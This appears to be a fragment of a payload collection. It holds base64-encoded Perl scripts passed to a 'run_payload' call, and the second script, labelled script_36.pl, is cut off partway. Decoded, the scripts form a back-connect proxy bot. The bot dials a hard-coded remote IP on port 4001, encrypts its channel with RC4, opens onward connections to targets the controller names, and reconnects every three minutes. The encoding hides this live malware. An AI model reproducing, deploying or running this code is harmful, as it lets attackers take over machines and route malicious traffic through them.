JCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_36.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTc4JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQk